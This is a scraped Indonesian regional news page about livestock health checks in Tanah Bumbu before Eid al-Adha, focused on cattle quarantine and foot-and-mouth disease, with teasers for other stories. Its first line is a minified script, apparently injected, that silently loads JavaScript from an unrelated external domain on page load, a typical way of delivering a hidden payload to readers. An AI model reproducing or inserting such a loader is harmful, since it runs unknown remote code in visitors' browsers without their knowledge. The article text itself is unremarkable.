(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BATULICIN – Dinas Ketahanan Pangan dan Pertanian (DKPP) Tanbu terus mengintensifkan pengawasan hewan ternak menjelang Hari Raya Idul Adha 1443 H.
Kadis DKPP Tanbu H Hairuddin melalui Kabid Peternakan dan Kesehatan Hewan, Berkat, menyampaikan persiapan Bidang Peternakan menjelang pelaksanaan Hari Raya Kurban sudah mencapai 90 persen.
“Kami dari bidang peternakan telah menerjunkan tim ke titik lokasi dan melakukan pendataan, dengan sekitar 1.000 ekor sapi sudah diberi label sehat dan layak konsumsi. Sementara untuk jumlah sapi yang datang dari luar pulau yang terdata berjumlah sekitar 1.300 ekor sapi,” jelas Berkat pada Jumat (8/7/2022) siang.
Ia menjelaskan bahwa hewan ternak yang masuk dari luar pulau ke Tanah bumbu seperti dari Sulawesi dan Madura, yang didominasi Sapi Bali, Sapi Masalembu, hingga Sapi Limousin, sudah melalui prosedur pemeriksaan dan tahapan karantina. Langkah ini guna memastikan hewan kurban yang dijual dalam kondisi sehat, dan tidak mengidap penyakit tertentu.
Baca juga : TNI-Polri Gelar Penyemprotan Disinfektan Hewan Ternak di Amuntai Selatan
Tidak sampai disitu, tim Bidang Peternakan juga akan melakukan pemeriksaan Ante Morten dan Post Morten pada hewan kurban, di beberapa titik di 12 Kecamatan di Kabupaten Tanah Bumbu.
“Hingga saat ini sapi-sapi yang terdata aman dan tidak terjangkit PMK, kami berharap tidak ada sapi di Tanah Bumbu yang terindikasi wabah PMK, sehingga masyarakat dapat tenang melaksanakan Hari Raya Kurban di Tanah Bumbu,” harap Berkat.
Menurutnya, saat ini masyarakat baik dari kalangan penjual dan pembeli, sudah cukup teredukasi tentang penyebaran wabah PMK. Dengan demikian ia meyakini bahwa masyarakat juga tentu sangat berhati-hati, dalam memilih hewan ternak yang akan di qurbankan.
Sementara itu Sekretaris DKPP Tanbu, Lamijan, menambahkan bahwa sejak adanya informasi tentang wabah PMK, tim Peternakan Tanbu beserta dengan unsur terkait terus berjaga di dua pelabuhan lintas Tanah Bumbu.
“Tujuannya untuk melakukan pengecekan ketat terhadap sapi yang masuk, lengkap beserta dengan dokumennya, untuk memastikan sapi yang masuk dari seberang pulau benar-benar sapi yang aman, sehat dan terbebas dari wabah PMK,” jelasnya. (kanalkalimantan.com/ftr)
Reporter : ftr
Editor : cell
KANALKALIMANTAN.COM - Setiap tanggal 19 Desember diperingati sebagai Hari Bela Negara di Indonesia. Momen ini… Read More
KANALKALIMANTAN.COM, BANJARBARU - Jumlah penumpang yang menjajaki area terminal keberangkatan Bandara Syamsudin Noor mulai meningkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kasus korupsi menyeret seorang pegawai BUMN PT Pegadaian di Banjarmasin Provinsi Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru tengah menggodok Rancangan Peraturan Daerah… Read More
KANALKALIMANTAN.COM, PARINGIN - Dinas Koperasi, Usaha Kecil dan Menengah, dan Tenaga Kerja (DKUKMTK) Kabupaten Balangan… Read More
KANALKALIMANTAN.COM, TANA PASER - Kanit Reskrim Polsek Batu Sopang Aipda Kiswanto terkapar dihajar oleh seorang… Read More
This website uses cookies.